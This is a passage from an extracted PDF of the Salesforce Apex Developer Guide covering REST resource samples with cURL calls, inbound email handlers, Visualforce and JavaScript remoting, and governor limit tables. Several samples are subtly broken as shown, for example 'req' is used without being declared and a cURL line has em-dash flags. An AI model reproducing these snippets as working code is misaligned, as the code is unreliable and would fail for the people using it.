This sample shows you how to implement a simple REST API in Apex that handles three different HTTP request methods. For more
information about authenticating with cURL, see the Quick Start section of the Force.com REST API Developer Guide.
1. Create an Apex class in your instance from Setup by entering New in the Quick Find box, then selecting New and add this
code to your new class:
@RestResource(urlMapping='/Account/*')
global with sharing class MyRestResource {
@HttpDelete
global static void doDelete() {
String accountId = req.requestURI.substring(req.requestURI.lastIndexOf('/')+1);
Account account = [SELECT Id FROM Account WHERE Id = :accountId];

delete account;
}
@HttpGet
global static Account doGet() {
String accountId = req.requestURI.substring(req.requestURI.lastIndexOf('/')+1);
Account result = [SELECT Id, Name, Phone, Website FROM Account WHERE Id =
:accountId];
return result;
}
@HttpPost
global static String doPost(String name,
String phone, String website) {
Account account = new Account();
account.Name = name;
account.phone = phone;
account.website = website;
insert account;
return account.Id;
}
}
265
2. To call the doGet method from a client, open a command-line window and execute the following cURL command to retrieve
an account by ID:
curl -H "Authorization: Bearer sessionId"
"https://instance.salesforce.com/services/apexrest/Account/accountId"
• Replace sessionId with the <sessionId> element that you noted in the login response.
• Replace instance with your <serverUrl> element.
• Replace accountId with the ID of an account which exists in your organization.
After calling the doGet method, Salesforce returns a JSON response with data such as the following:
{
"attributes" :
{
"type" : "Account",
"url" : "/services/data/v22.0/sobjects/Account/accountId"
},
"Id" : "accountId",
"Name" : "Acme"
Note: The cURL examples in this section don't use a namespaced Apex class so you won't see the namespace in the URL.
3. Create a file called account.txt to contain the data for the account you will create in the next step.
{
"name" : "Wingo Ducks",
"phone" : "707-555-1234",
"website" : "www.wingo.ca.us"
}
4. Using a command-line window, execute the following cURL command to create a new account:
curl -H "Authorization: Bearer sessionId" -H "Content-Type: application/json" -d
@account.txt "https://instance.salesforce.com/services/apexrest/Account/"
After calling the doPost method, Salesforce returns a response with data such as the following:
"accountId"
The accountId is the ID of the account you just created with the POST request.
5. Using a command-line window, execute the following cURL command to delete an account by specifying the ID:
curl —X DELETE —H "Authorization: Bearer sessionId"
"https://instance.salesforce.com/services/apexrest/Account/accountId"
Apex REST Code Sample Using RestRequest

The following sample shows you how to add an attachment to a case by using the RestRequest object. For more information about
authenticating with cURL, see the Quick Start section of the Force.com REST API Developer Guide. In this code, the binary file data is
stored in the RestRequest object, and the Apex service class accesses the binary data in the RestRequest object .
266
1. Create an Apex class in your instance from Setup by entering Apex Classes in the Quick Find box, then selecting Apex
Classes. Click New and add the following code to your new class:
@RestResource(urlMapping='/CaseManagement/v1/*')
global with sharing class CaseMgmtService
{
@HttpPost
global static String attachPic(){
RestResponse res = Restcontext.response;
Id caseId = req.requestURI.substring(req.requestURI.lastIndexOf('/')+1);
Blob picture = req.requestBody;
Attachment a = new Attachment (ParentId = caseId,
Body = picture,
ContentType = 'image/jpg',
Name = 'VehiclePicture');
insert a;
return a.Id;
}
}
2. Open a command-line window and execute the following cURL command to upload the attachment to a case:
curl -H "Authorization: Bearer sessionId" -H "X-PrettyPrint: 1" -H "Content-Type:
image/jpeg" --data-binary @file
"https://instance.salesforce.com/services/apexrest/CaseManagement/v1/caseId"
• Replace sessionId with the <sessionId> element that you noted in the login response.
• Replace instance with your <serverUrl> element.
• Replace caseId with the ID of the case you want to add the attachment to.
• Replace file with the path and file name of the file you want to attach.
Your command should look something like this (with the sessionId replaced with your session ID and yourInstance
replaced with your instance name):
curl -H "Authorization: Bearer sessionId"

-H "X-PrettyPrint: 1" -H "Content-Type: image/jpeg" --data-binary
@c:\test\vehiclephoto1.jpg
"https://yourInstance.salesforce.com/services/apexrest/CaseManagement/v1/500D0000003aCts"
Note: The cURL examples in this section don’t use a namespaced Apex class so you won’t see the namespace in the URL.
The Apex class returns a JSON response that contains the attachment ID such as the following:
"00PD0000001y7BfMAI"
3. To verify that the attachment and the image were added to the case, navigate to Cases and select the All Open Cases view. Click
on the case and then scroll down to the Attachments related list. You should see the attachment you just created.
267
Apex Email Service

You can use email services to process the contents, headers, and attachments of inbound email. For example, you can create an email
service that automatically creates contact records based on contact information in messages.
Note: Visualforce email templates cannot be used for mass email.
You can associate each email service with one or more Salesforce-generated email addresses to which users can send messages for
processing. To give multiple users access to a single email service, you can:
• Associate multiple Salesforce-generated email addresses with the email service and allocate those addresses to users.
• Associate a single Salesforce-generated email address with the email service, and write an Apex class that executes according to the
user accessing the email service. For example, you can write an Apex class that identifies the user based on the user's email address
and creates records on behalf of that user.
To use email services, from Setup, enter Email Services in the Quick Find box, then select Email Services.
• Click New Email Service to define a new email service.
• Select an existing email service to view its configuration, activate or deactivate it, and view or specify addresses for that email service.
• Click Edit to make changes to an existing email service.
• Click Delete to delete an email service.
Note: Before deleting email services, you must delete all associated email service addresses.
When defining email services, note the following:

• An email service only processes messages it receives at one of its addresses.
• Salesforce limits the total number of messages that all email services combined, including On-Demand Email-to-Case, can process
daily. Messages that exceed this limit are bounced, discarded, or queued for processing the next day, depending on how you
configure the failure response settings for each email service. Salesforce calculates the limit by multiplying the number of user
licenses by 1,000; maximum 1,000,000. For example, if you have 10 licenses, your org can process up to 10,000 email messages a
day.
• Email service addresses that you create in your sandbox cannot be copied to your production org.
• For each email service, you can tell Salesforce to send error email messages to a specified address instead of the sender's email
address.
• Email services reject email messages and notify the sender if the email (combined body text, body HTML, and attachments) exceeds
approximately 10 MB (varies depending on language and character set).
Using the InboundEmail Object

For every email the Apex email service domain receives, Salesforce creates a separate InboundEmail object that contains the contents
and attachments of that email. You can use Apex classes that implement the Messaging.InboundEmailHandler interface
to handle an inbound email message. Using the handleInboundEmail method in that class, you can access an InboundEmail
object to retrieve the contents, headers, and attachments of inbound email messages, as well as perform many functions.
Example 1: Create Tasks for Contacts

The following is an example of how you can look up a contact based on the inbound email address and create a new task.
global class CreateTaskEmailExample implements Messaging.InboundEmailHandler {
global Messaging.InboundEmailResult handleInboundEmail(Messaging.inboundEmail email,
268
Messaging.InboundEnvelope env){
// Create an InboundEmailResult object for returning the result of the

// Apex Email Service
Messaging.InboundEmailResult result = new Messaging.InboundEmailResult();
String myPlainText= '';
// Add the email plain text into the local variable

myPlainText = email.plainTextBody;
// New Task object to be created

Task[] newTask = new Task[0];
// Try to look up any contacts based on the email from address

// If there is more than one contact with the same email address,
// an exception will be thrown and the catch statement will be called.
try {
Contact vCon = [SELECT Id, Name, Email
FROM Contact
WHERE Email = :email.fromAddress
LIMIT 1];
// Add a new Task to the contact record we just found above.

newTask.add(new Task(Description = myPlainText,
Priority = 'Normal',
Status = 'Inbound Email',
Subject = email.subject,
IsReminderSet = true,
ReminderDateTime = System.now()+1,
WhoId = vCon.Id));
// Insert the new Task

insert newTask;
System.debug('New Task Object: ' + newTask );

}
// If an exception occurs when the query accesses
// the contact record, a QueryException is called.
// The exception is written to the Apex debug log.
catch (QueryException e) {
System.debug('Query Issue: ' + e);
}
// Set the result to true. No need to send an email back to the user
// with an error message
result.success = true;
// Return the result for the Apex Email Service

return result;
269
}
}
SEE ALSO:
InboundEmail Class
InboundEnvelope Class
InboundEmailResult Class
Visualforce Classes
In addition to giving developers the ability to add business logic to Salesforce system events such as button clicks and related record
updates, Apex can also be used to provide custom logic for Visualforce pages through custom Visualforce controllers and controller
extensions.
• A custom controller is a class written in Apex that implements all of a page's logic, without leveraging a standard controller. If you
use a custom controller, you can define new navigation elements or behaviors, but you must also reimplement any functionality
that was already provided in a standard controller.
Like other Apex classes, custom controllers execute entirely in system mode, in which the object and field-level permissions of the
current user are ignored. You can specify whether a user can execute methods in a custom controller based on the user's profile.
• A controller extension is a class written in Apex that adds to or overrides behavior in a standard or custom controller. Extensions
allow you to leverage the functionality of another controller while adding your own custom logic.
Because standard controllers execute in user mode, in which the permissions, field-level security, and sharing rules of the current
user are enforced, extending a standard controller allows you to build a Visualforce page that respects user permissions. Although
the extension class executes in system mode, the standard controller executes in user mode. As with custom controllers, you can
specify whether a user can execute methods in a controller extension based on the user's profile.
You can use these system-supplied Apex classes when building custom Visualforce controllers and controller extensions.
• Action
• Dynamic Component
• IdeaStandardController
• IdeaStandardSetController
• KnowledgeArticleVersionStandardController
• Message
• PageReference
• SelectOption
• StandardController
• StandardSetController
In addition to these classes, the transient keyword can be used when declaring methods in controllers and controller extensions.
For more information, see Using the transient Keyword on page 78.
For more information on Visualforce, see the Visualforce Developer's Guide.
270
JavaScript Remoting
Use JavaScript remoting in Visualforce to call methods in Apex controllers from JavaScript. Create pages with complex, dynamic behavior
that isn’t possible with the standard Visualforce AJAX components.
Features implemented using JavaScript remoting require three elements:
• The remote method invocation you add to the Visualforce page, written in JavaScript.
• The remote method definition in your Apex controller class. This method definition is written in Apex, but there are some important
differences from normal action methods.
• The response handler callback function you add to or include in your Visualforce page, written in JavaScript.
In your controller, your Apex method declaration is preceded with the @RemoteAction annotation like this:
@RemoteAction
global static String getItemId(String objectName) { ... }
Apex @RemoteAction methods must be static and either global or public.

A simple JavaScript remoting invocation takes the following form.
[namespace.]controller.method(
[parameters...,]
callbackFunction,
[configuration]
);
Table 2: Remote Request Elements

Element Description
namespace The namespace of the controller class. This is required if your organization has a namespace defined,
or if the class comes from an installed package.
controller The name of your Apex controller.
method The name of the Apex method you’re calling.
parameters A comma-separated list of parameters that your method takes.
callbackFunction The name of the JavaScript function that will handle the response from the controller. You can also
declare an anonymous function inline. callbackFunction receives the status of the method
call and the result as parameters.
configuration Configures the handling of the remote call and response. Use this to change the behavior of a
remoting call, such as whether or not to escape the Apex method’s response.
For more information, see “JavaScript Remoting for Apex Controllers” in the Visualforce Developer's Guide.
Apex in AJAX
The AJAX toolkit includes built-in support for invoking Apex through anonymous blocks or public webservice methods.
271
To invoke Apex through anonymous blocks or public webservice methods, include the following lines in your AJAX code:
<script src="/soap/ajax/15.0/connection.js" type="text/javascript"></script>
<script src="/soap/ajax/15.0/apex.js" type="text/javascript"></script>
Note: For AJAX buttons, use the alternate forms of these includes.
To invoke Apex, use one of the following two methods:

• Execute anonymously via sforce.apex.executeAnonymous (script). This method returns a result similar to the API's
result type, but as a JavaScript structure.
• Use a class WSDL. For example, you can call the following Apex class:
global class myClass {
webservice static Id makeContact(String lastName, Account a) {
Contact c = new Contact(LastName = lastName, AccountId = a.Id);
return c.id;
}
}
By using the following JavaScript code:

var account = sforce.sObject("Account");
var id = sforce.apex.execute("myClass","makeContact",
{lastName:"Smith",
a:account});
The execute method takes primitive data types, sObjects, and lists of primitives or sObjects.
To call a webservice method with no parameters, use {} as the third parameter for sforce.apex.execute. For example, to
call the following Apex class:
global class myClass{
webservice static String getContextUserName() {
return UserInfo.getFirstName();
}
}
Use the following JavaScript code:

var contextUser = sforce.apex.execute("myClass", "getContextUserName", {});
Note: If a namespace has been defined for your organization, you must include it in the JavaScript code when you invoke
the class. For example, to call the above class, the JavaScript code from above would be rewritten as follows:
var contextUser = sforce.apex.execute("myNamespace.myClass", "getContextUserName",
{});
To verify whether your organization has a namespace, log in to your Salesforce organization and from Setup, enter Packages
in the Quick Find box, then select Packages. If a namespace is defined, it is listed under Developer Settings.
Both examples result in native JavaScript values that represent the return type of the methods.
Use the following line to display a popup window with debugging information:
sforce.debug.trace=true;
272
Apex Developer Guide Apex Transactions and Governor Limits
Apex Transactions and Governor Limits

Apex Transactions ensure the integrity of data. Apex code runs as part of atomic transactions. Governor execution limits ensure the
efficient use of resources on the Force.com multitenant platform.
Most of the governor limits are per transaction, and some aren’t, such as 24-hour limits.
To make sure Apex adheres to governor limits, certain design patterns should be used, such as bulk calls and foreign key relationships
in queries.
IN THIS SECTION:
Apex Transactions
An Apex transaction represents a set of operations that are executed as a single unit. All DML operations in a transaction either
complete successfully, or if an error occurs in one operation, the entire transaction is rolled back and no data is committed to the
database. The boundary of a transaction can be a trigger, a class method, an anonymous block of code, a Visualforce page, or a
custom Web service method.
Because Apex runs in a multitenant environment, the Apex runtime engine strictly enforces limits to ensure that runaway Apex code
or processes don’t monopolize shared resources. If some Apex code exceeds a limit, the associated governor issues a runtime
exception that cannot be handled.
Set Up Governor Limit Email Warnings
You can specify users in your organization to receive an email notification when they invoke Apex code that surpasses 50% of
allocated governor limits.
Running Apex within Governor Execution Limits
When you develop software in a multitenant cloud environment such as the Force.com platform, you don’t have to scale your code,
because the Force.com platform does it for you. Because resources are shared in a multitenant platform, the Apex runtime engine
enforces some limits to ensure that no one transaction monopolizes shared resources.
Apex Transactions
An Apex transaction represents a set of operations that are executed as a single unit. All DML operations in a transaction either complete
successfully, or if an error occurs in one operation, the entire transaction is rolled back and no data is committed to the database. The
boundary of a transaction can be a trigger, a class method, an anonymous block of code, a Visualforce page, or a custom Web service
method.
All operations that occur inside the transaction boundary represent a single unit of operations. This also applies for calls that are made
from the transaction boundary to external code, such as classes or triggers that get fired as a result of the code running in the transaction
boundary. For example, consider the following chain of operations: a custom Apex Web service method causes a trigger to fire, which
in turn calls a method in a class. In this case, all changes are committed to the database only after all operations in the transaction finish
executing and don’t cause any errors. If an error occurs in any of the intermediate steps, all database changes are rolled back and the
transaction isn’t committed.
Note: An Apex transaction is sometimes referred to as an execution context. Both terms refer to the same thing. This guide uses
the Apex transaction term.
How are Transactions Useful?

Transactions are useful when several operations are related, and either all or none of the operations should be committed. This keeps
the database in a consistent state. There are many business scenarios that benefit from transaction processing. For example, transferring
273
funds from one bank account to another is a common scenario. It involves debiting the first account and crediting the second account
with the amount to transfer. These two operations need to be committed together to the database. But if the debit operation succeeds
and the credit operation fails, the account balances will be inconsistent.
Example
This example shows how all DML insert operations in a method are rolled back when the last operation causes a validation rule
failure. In this example, the invoice method is the transaction boundary—all code that runs within this method either commits all
changes to the platform database or rolls back all changes. In this case, we add a new invoice statement with a line item for the pencils
merchandise. The Line Item is for a purchase of 5,000 pencils specified in the Units_Sold__c field, which is more than the entire pencils
inventory of 1,000. This example assumes a validation rule has been set up to check that the total inventory of the merchandise item is
enough to cover new purchases.
Since this example attempts to purchase more pencils (5,000) than items in stock (1,000), the validation rule fails and throws an exception.
Code execution halts at this point and all DML operations processed before this exception are rolled back. In this case, the invoice
statement and line item won’t be added to the database, and their insert DML operations are rolled back.
In the Developer Console, execute the static invoice method.
// Only 1,000 pencils are in stock.
// Purchasing 5,000 pencils cause the validation rule to fail,
// which results in an exception in the invoice method.
Id invoice = MerchandiseOperations.invoice('Pencils', 5000, 'test 1');
This is the definition of the invoice method. In this case, the update of total inventory causes an exception due to the validation rule
failure. As a result, the invoice statements and line items will be rolled back and won’t be inserted into the database.
public class MerchandiseOperations {
public static Id invoice( String pName, Integer pSold, String pDesc) {
// Retrieve the pencils sample merchandise
Merchandise__c m = [SELECT Price__c,Total_Inventory__c
FROM Merchandise__c WHERE Name = :pName LIMIT 1];
// break if no merchandise is found
System.assertNotEquals(null, m);
// Add a new invoice
Invoice_Statement__c i = new Invoice_Statement__c(
Description__c = pDesc);
insert i;
// Add a new line item to the invoice

Line_Item__c li = new Line_Item__c(
Name = '1',
Invoice_Statement__c = i.Id,
Merchandise__c = m.Id,
Unit_Price__c = m.Price__c,
Units_Sold__c = pSold);
insert li;
// Update the inventory of the merchandise item

m.Total_Inventory__c -= pSold;
// This causes an exception due to the validation rule
// if there is not enough inventory.
update m;
return i.Id;
274
}
}

Because Apex runs in a multitenant environment, the Apex runtime engine strictly enforces limits to ensure that runaway Apex code or
processes don’t monopolize shared resources. If some Apex code exceeds a limit, the associated governor issues a runtime exception
that cannot be handled.
The Apex limits, or governors, track and enforce the statistics outlined in the following tables and sections.
• Per-Transaction Apex Limits
• Per-Transaction Certified Managed Package Limits
• Force.com Platform Apex Limits
• Static Apex Limits
• Size-Specific Apex Limits
• Miscellaneous Apex Limits
In addition to the core Apex governor limits, email limits and push notification limits are also included later in this topic for your
convenience.
Per-Transaction Apex Limits

These limits count for each Apex transaction. For Batch Apex, these limits are reset for each execution of a batch of records in the
execute method.
This table lists limits for synchronous Apex and asynchronous Apex (Batch Apex and future methods) when they’re different. Otherwise,
this table lists only one limit that applies to both synchronous and asynchronous Apex.
Description Synchronous Asynchronous

Limit Limit
Total number of SOQL queries issued1 100 200
Total number of records retrieved by SOQL queries 50,000
Total number of records retrieved by Database.getQueryLocator 10,000
Total number of SOSL queries issued 20
Total number of records retrieved by a single SOSL query 2,000
Total number of DML statements issued2 150
Total number of records processed as a result of DML statements, Approval.process, 10,000

or database.emptyRecycleBin
Total stack depth for any Apex invocation that recursively fires triggers due to insert, 16
3
update, or delete statements
Total number of callouts (HTTP requests or Web services calls) in a transaction 100
Maximum cumulative timeout for all callouts (HTTP requests or Web services calls) in a 120 seconds
transaction
275
Description Synchronous Asynchronous

Limit Limit
Maximum number of methods with the future annotation allowed per Apex invocation 50
Maximum number of Apex jobs added to the queue with System.enqueueJob 50
Total number of sendEmail methods allowed 10
Total heap size4 6 MB 12 MB
Maximum CPU time on the Salesforce servers5 10,000 milliseconds 60,000 milliseconds
Maximum execution time for each Apex transaction 10 minutes
Maximum number of push notification method calls allowed per Apex transaction 10
Maximum number of push notifications that can be sent in each push notification method 2,000
call
1
In a SOQL query with parent-child relationship subqueries, each parent-child relationship counts as an extra query. These types of
queries have a limit of three times the number for top-level queries. The limit for subqueries corresponds to the value that
Limits.getLimitAggregateQueries() returns.The row counts from these relationship queries contribute to the row counts
of the overall code execution. This limit doesn’t apply to custom metadata types. In a single Apex transaction, custom metadata records
can have unlimited SOQL queries. In addition to static SOQL statements, calls to the following methods count against the number of
SOQL statements issued in a request.
• Database.countQuery
• Database.getQueryLocator
• Database.query
2
Calls to the following methods count against the number of DML queries issued in a request.
• Approval.process
• Database.convertLead
• Database.emptyRecycleBin
• Database.rollback
• Database.setSavePoint
• delete and Database.delete
• insert and Database.insert
• merge and Database.merge
• undelete and Database.undelete
• update and Database.update
• upsert and Database.upsert
• System.runAs
3
Recursive Apex that does not fire any triggers with insert, update, or delete statements exists in a single invocation, with a
single stack. Conversely, recursive Apex that fires a trigger spawns the trigger in a new Apex invocation, separate from the invocation
of the code that caused it to fire. Because spawning a new invocation of Apex is a more expensive operation than a recursive call in a
single invocation, there are tighter restrictions on the stack depth of these types of recursive calls.
4
Email services heap size is 36 MB.
276
5
CPU time is calculated for all executions on the Salesforce application servers occurring in one Apex transaction. CPU time is calculated
for the executing Apex code, and for any processes that are called from this code, such as package code and workflows. CPU time is
private for a transaction and is isolated from other transactions. Operations that don’t consume application server CPU time aren’t counted
toward CPU time. For example, the portion of execution time spent in the database for DML, SOQL, and SOSL isn’t counted, nor is waiting
time for Apex callouts.
Note:
• Limits apply individually to each testMethod.
• To determine the code execution limits for your code while it is running, use the Limits methods. For example, you can use
the getDMLStatements method to determine the number of DML statements that have already been called by your
program. Or, you can use the getLimitDMLStatements method to determine the total number of DML statements
available to your code.
Per-Transaction Certified Managed Package Limits

Certified managed packages—managed packages that have passed the security review for AppExchange—get their own set of limits
for most per-transaction limits. Certified managed packages are developed by Salesforce ISV Partners, are installed in your org from
Force.com AppExchange, and have unique namespaces.
Here is an example that illustrates the separate certified managed package limits for DML statements. If you install a certified managed
package, all the Apex code in that package gets its own 150 DML statements. These DML statements are in addition to the 150 DML
statements your org’s native code can execute. This limit increase means more than 150 DML statements can execute during a single
transaction if code from the managed package and your native org both execute. Similarly, the certified managed package gets its own
100-SOQL-query limit for synchronous Apex, in addition to the org’s native code limit of 100 SOQL queries.
There’s no limit on the number of certified namespaces that can be invoked in a single transaction. However, the number of operations
that can be performed in each namespace must not exceed the per-transaction limits. There’s also a limit on the cumulative number of
operations that can be made across namespaces in a transaction. This cumulative limit is 11 times the per-namespace limit. For example,
if the per-namespace limit for SOQL queries is 100, a single transaction can perform up to 1,100 SOQL queries. In this case, the cumulative
limit is 11 times the per-namespace limit of 100. These queries can be performed across an unlimited number of namespaces, as long
as any one namespace doesn't have more than 100 queries. The cumulative limit doesn’t affect limits that are shared across all namespaces,
such as the limit on maximum CPU time.
Note: These cross-namespace limits apply only to namespaces in certified managed packages. Namespaces in packages that are
not certified don’t have their own separate governor limits. The resources they use continue to count against the same governor
limits used by your org's custom code.
This table lists the cumulative cross-namespace limits.
Description Cumulative
Cross-Namespace Limit
Total number of SOQL queries issued 1,100
Total number of records retrieved by Database.getQueryLocator 110,000
Total number of SOSL queries issued 220
Total number of DML statements issued 1,650
Total number of callouts (HTTP requests or Web services calls) in a transaction 1,100
Total number of sendEmail methods allowed 110
277
All per-transaction limits count separately for certified managed packages except for:
• The total heap size
• The maximum CPU time
• The maximum transaction execution time
• The maximum number of unique namespaces
These limits count for the entire transaction, regardless of how many certified managed packages are running in the same transaction.
Also, if you install a package from AppExchange that isn’t created by a Salesforce ISV Partner and isn’t certified, the code from that
package doesn’t have its own separate governor limits. Any resources it uses count against the total governor limits for your org.
Cumulative resource messages and warning emails are also generated based on managed package namespaces.
For more information on Salesforce ISV Partner packages, see Salesforce Partner Programs.
Force.com Platform Apex Limits

The limits in this table aren’t specific to an Apex transaction and are enforced by the Force.com platform.
Description Limit
The maximum number of asynchronous Apex method executions (batch Apex, future methods, 250,000 or the number of user
Queueable Apex, and scheduled Apex) per a 24-hour period1 licenses in your org multiplied
by 200, whichever is greater
Number of synchronous concurrent transactions for long-running transactions that last longer than 10
5 seconds for each org.2
Maximum number of Apex classes scheduled concurrently 100. In Developer Edition orgs
the limit is 5.
Maximum number of batch Apex jobs in the Apex flex queue that are in Holding status 100
Maximum number of batch Apex jobs queued or active concurrently3 5
Maximum number of batch Apex job start method concurrent executions4 1
Maximum number of batch jobs that can be submitted in a running test 5
Maximum number of test classes that can be queued per 24-hour period (production orgs other The greater of 500 or 10
than Developer Edition)5 multiplied by the number of test
classes in the org
Maximum number of test classes that can be queued per 24-hour period (sandbox and Developer The greater of 500 or 20
Edition orgs)5 multiplied by the number of test
classes in the org
Maximum number of query cursors open concurrently per user6 50
Maximum number of query cursors open concurrently per user for the Batch Apex start method 15
Maximum number of query cursors open concurrently per user for the Batch Apex execute and 5
finish methods
278
1
For Batch Apex, method executions include executions of the start, execute, and finish methods. This limit is for your entire
org and is shared with all asynchronous Apex: Batch Apex, Queueable Apex, scheduled Apex, and future methods. To check how many
asynchronous Apex executions are available, make a request to the REST API limits resource. See List Organization Limits in the
Force.com REST API Developer Guide. The licenses that count toward this limit are full Salesforce user licenses or Force.com App Subscription
user licenses. Chatter Free, Chatter customer users, Customer Portal User, and partner portal User licenses aren’t included.
2
If more transactions are started while the 10 long-running transactions are still running, they’re denied.
3
When batch jobs are submitted, they’re held in the flex queue before the system queues them for processing.
4
Batch jobs that haven’t started yet remain in the queue until they’re started. If more than one job is running, this limit doesn’t cause
any batch job to fail and execute methods of batch Apex jobs still run in parallel.
5
This limit applies to tests running asynchronously. This group of tests includes tests started through the Salesforce user interface
including the Developer Console or by inserting ApexTestQueueItem objects using SOAP API.
6
For example, if 50 cursors are open and a client application still logged in as the same user attempts to open a new one, the oldest of
the 50 cursors is released. Cursor limits for different Force.com features are tracked separately. For example, you can have 50 Apex query
cursors, 15 cursors for the Batch Apex start method, 5 cursors each for the Batch Apex execute and finish methods, and 5
Visualforce cursors open at the same time.
Static Apex Limits
Description Limit
Default timeout of callouts (HTTP requests or Web services calls) in a transaction 10 seconds
Maximum size of callout request or response (HTTP request or Web services call)1 6 MB for synchronous Apex or
12 MB for asynchronous Apex
Maximum SOQL query run time before Salesforce cancels the transaction 120 seconds
Maximum number of class and trigger code units in a deployment of Apex 5,000
For loop list batch size 200
Maximum number of records returned for a Batch Apex query in Database.QueryLocator 50 million
1
The HTTP request and response sizes count towards the total heap size.
Size-Specific Apex Limits
Description Limit
Maximum number of characters for a class 1 million
Maximum number of characters for a trigger 1 million
Maximum amount of code used by all Apex code in an org1 3 MB
Method size limit 2 65,535 bytecode instructions in

compiled form
279
1
This limit does not apply to certified managed packages installed from AppExchange (that is, an app that has been marked AppExchange
Certified). The code in those types of packages belongs to a namespace unique from the code in your org. For more information on
AppExchange Certified packages, see the Force.com AppExchange online help. This limit also does not apply to any code included in a
class defined with the @isTest annotation.
2
Large methods that exceed the allowed limit cause an exception to be thrown during the execution of your code.
Miscellaneous Apex Limits

SOQL Query Performance
For best performance, SOQL queries must be selective, particularly for queries inside triggers. To avoid long execution times, the
system can terminate nonselective SOQL queries. Developers receive an error message when a non-selective query in a trigger
executes against an object that contains more than 200,000 records. To avoid this error, ensure that the query is selective. See More
Efficient SOQL Queries.
Chatter in Apex
For classes in the ConnectApi namespace, every write operation costs one DML statement against the Apex governor limit.
ConnectApi method calls are also subject to rate limiting. ConnectApi rate limits match Chatter REST API rate limits. Both
have a per user, per namespace, per hour rate limit. When you exceed the rate limit, a ConnectApi.RateLimitException
is thrown. Your Apex code must catch and handle this exception.
Event Reports
The maximum number of records that an event report returns for a user who is not a system administrator is 20,000; for system
administrators, 100,000.
Data.com Clean
If you use the Data.com Clean product and its automated jobs, and you have set up Apex triggers on account, contact, or lead records
that run SOQL queries, the queries can interfere with Clean jobs for those objects. Your Apex triggers (combined) must not exceed
200 SOQL queries per batch. If they do, your Clean job for that object fails. In addition, if your triggers call future methods, they
are subject to a limit of 10 future calls per batch.
Email Limits
Inbound Email Limits
Email Services: Maximum Number of Email Messages Processed Number of user licenses multiplied by
(Includes limit for On-Demand Email-to-Case) 1,000; maximum 1,000,000
Email Services: Maximum Size of Email Message (Body and Attachments) 10 MB1
On-Demand Email-to-Case: Maximum Email Attachment Size 25 MB
On-Demand Email-to-Case: Maximum Number of Email Messages Processed Number of user licenses multiplied by
(Counts toward limit for Email Services) 1,000; maximum 1,000,000
1
The maximum size of email messages for Email Services varies depending on language and character set. The size of an email
message includes the email headers, body, attachments, and encoding. As a result, an email with a 25 MB attachment likely exceeds
the 25 MB size limit for an email message after accounting for the headers, body, and encoding..
When defining email services, note the following:
• An email service only processes messages it receives at one of its addresses.
280
• Salesforce limits the total number of messages that all email services combined, including On-Demand Email-to-Case, can
process daily. Messages that exceed this limit are bounced, discarded, or queued for processing the next day, depending on
how you configure the failure response settings for each email service. Salesforce calculates the limit by multiplying the number
of user licenses by 1,000; maximum 1,000,000. For example, if you have 10 licenses, your org can process up to 10,000 email
messages a day.
• Email service addresses that you create in your sandbox cannot be copied to your production org.
• For each email service, you can tell Salesforce to send error email messages to a specified address instead of the sender's email
address.
• Email services reject email messages and notify the sender if the email (combined body text, body HTML, and attachments)
exceeds approximately 10 MB (varies depending on language and character set).
Outbound Email: Limits for Single and Mass Email Sent Using Apex
Using the API or Apex, you can send single emails to a maximum of 5,000 external email addresses per day based on Greenwich
Mean Time (GMT). Single emails sent using the email author or composer in Salesforce don't count toward this limit. There’s no limit
on sending individual emails to contacts, leads, person accounts, and users in your org directly from account, contact, lead, opportunity,
case, campaign, or custom object pages.
When sending single emails, keep in mind:
• You can specify up to 100 recipients for the To field and up to 25 recipients for the CC and BCC fields in each
SingleEmailMessage.
• If you use SingleEmailMessage to email your org’s internal users, specifying the user’s ID in setTargetObjectId
means the email doesn’t count toward the daily limit. However, specifying internal users’ email addresses in setToAddresses
means the email does count toward the limit.
You can send mass email to a maximum of 5,000 external email addresses per day per org based on Greenwich Mean Time (GMT).
Note:
• The single and mass email limits don't take unique addresses into account. For example, if you have
johndoe@example.com in your email 10 times, that counts as 10 against the limit.
• You can send an unlimited amount of email to your org’s internal users, which includes portal users.
• You can send mass emails only to contacts, person accounts, leads, and your org’s internal users.
• In Developer Edition orgs and orgs evaluating Salesforce during a trial period, you can send mass email to no more than
10 external email addresses per day. This lower limit doesn’t apply if your org was created before the Winter ’12 release
and already had mass email enabled with a higher limit. Additionally, your org can send single emails to a maximum of
15 email addresses per day.
Push Notification Limits

The maximum push notifications allowed for each mobile app associated with your Salesforce org depends on the type of app.
Mobile application type Maximum notifications per app per day

Provided by Salesforce (for example, Salesforce1) 50,000
Developed by your company for internal employee use 35,000
Installed from the AppExchange 5,000
281
Only deliverable notifications count toward this limit. For example, consider the scenario where a notification is sent to 1,000 employees
in your company, but 100 employees haven’t installed the mobile application yet. Only the notifications sent to the 900 employees who
have installed the mobile application count toward this limit.
Each test push notification that is generated through the Test Push Notification page is limited to a single recipient. Test push notifications
count toward an application’s daily push notification limit.
SEE ALSO:
Asynchronous Callout Limits
Set Up Governor Limit Email Warnings

You can specify users in your organization to receive an email notification when they invoke Apex code that surpasses 50% of allocated
governor limits.
1. Log in to Salesforce as an administrator user.
2. From Setup, enter Users in the Quick Find box, then select Users.
3. Click Edit next to the name of the user to receive the email notifications.
4. Select the Send Apex Warning Emails option.
5. Click Save.
Running Apex within Governor Execution Limits

When you develop software in a multitenant cloud environment such as the Force.com platform, you don’t have to scale your code,
because the Force.com platform does it for you. Because resources are shared in a multitenant platform, the Apex runtime engine
enforces some limits to ensure that no one transaction monopolizes shared resources.
Your Apex code must execute within these predefined execution limits. If a governor limit is exceeded, a run-time exception that can’t
be handled is thrown. By following best practices in your code, you can avoid hitting these limits. Imagine you had to wash 100 T-shirts.
Would you wash them one by one—one per load of laundry, or would you group them in batches for just a few loads? The benefit of
coding in the cloud is that you learn how to write more efficient code and waste fewer resources.
The governor execution limits are per transaction. For example, one transaction can issue up to 100 SOQL queries and up to 150 DML
statements. There are some other limits that aren’t transaction bound, such as the number of batch jobs that can be queued or active
at one time.
The following are some best practices for writing code that doesn’t exceed certain governor limits.
Bulkifying DML Calls

Making DML calls on lists of sObjects instead of each individual sObject makes it less likely to reach the DML statements limit. The
following is an example that doesn’t bulkify DML operations, and the next example shows the recommended way of calling DML
statements.
Example: DML calls on single sObjects
The for loop iterates over line items contained in the liList List variable. For each line item, it sets a new value for the Description__c
field and then updates the line item. If the list contains more than 150 items, the 151st update call returns a run-time exception for
exceeding the DML statement limit of 150. How do we fix this? Check the second example for a simple solution.
for(Line_Item__c li : liList) {
if (li.Units_Sold__c > 10) {
282
li.Description__c = 'New description';

}
// Not a good practice since governor limits might be hit.
update li;
}
Recommended Alternative: DML calls on sObject lists

